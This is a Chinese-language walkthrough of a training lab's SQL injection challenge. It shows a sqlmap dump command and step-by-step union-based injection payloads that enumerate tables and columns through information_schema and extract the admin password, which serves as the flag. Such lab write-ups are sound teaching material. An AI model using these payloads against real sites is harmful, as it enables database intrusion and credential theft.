封神台 SQL注入 靶场 （猫舍）手动注入

封神台 SQL注入 靶场 （猫舍）手动注入

靶场地址 http://pu2lh35s.ia.aqlab.cn/?id=1

使用脚本

  • 可以直接使用sqlmap脚本 直接 对这个地址进行测试 不过这样实在是太没意思了
  • 这里使用的是 sqlmap 二次开发的 sqlmapplus 脚本 sqlmap 也是一样的
sqlmapX -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D "maoshe"  --dump  --batch --random-agent

手动注入

判断是否存在 SQL注入漏洞

  • 构造and 1=1，这个语句是恒成立的，一般页面都是不报错的

  • 尝试 1=2
  • 这里报错了 说明存在 注入漏洞

使用 order by 语句 判断数据库字段数

  • 构造?id=1 and 1=1 order by 1 页面没有变化（order by 1表示根据第一列来排序，一般也是如此默认升序的）
  • 再来依次构造order by 2 / order by 3
  • 由MySQL的语法有，order by后面的数据超过列数后将会报错，因此用种方法来判断一共有几个字段


  • order by 1/order by 2 都没有任何问题 但是 order by 3 报错了

使用联合查询判断回显点

  • 回显点就是在页面中能显示数据库信息的板块，比如有的网页中“浏览次数”“发布时间”等，都反应的是数据库中的数据
  • 在MySQL语句中，页面一次只能显示一行查询的内容，而且是先查后显示，于是我们需要让前面的语句?id=1 and 1=1这句话失效，从而显示union select 1,2的内容
  • 因此我们让前一个命令报错无法显示，即构造?id=1 and 1=2，后面照常union select 1,2

使用回显点 查询相关的数据

  1. 查询当前数据库的名称
  • 已知2为回显点，我们只需要在联合查询时将2替代为我们想要查询到部位名称即可
  • 可以查询当前的数据库名，将2替换为database()
  • 构造id=1 and 1=2 union select 1,database()
  • 数据库名为maoshe
  1. 查询数据库中的表名
  • 构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
  • limit 0,1的意思是从0开始，查询第1个数据

  • 只要修改后面的 limit 0,1 /limit 1,1/limit 2,1 就可以看到后面的表名了
  • 说明后面 的数据库的表 分别是 admin dirs news xss
  • 而当后面是 limit 4,1 的时候 就是空白的 说明只有四张表 而管理员的信息一般都存在 admin 中
  1. 查询admin表的列名
  • 构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
  • 同样 修改后面的 limit 0,1 就可以看到 后面的列名 第一列是 id 第二列是 username 第三列 则是password
  • 现在所有的信息都找到了 直接查询就可以了
  1. 查询需要的信息
  • 构造 ?id=1 and 1=2 union select 1,username from admin
  • 构造 ?id=1 and 1=2 union select 1,password from admin where username = 'admin'

结束

  • Flag 已经找到了 也就是 管理员的密码 hellohack
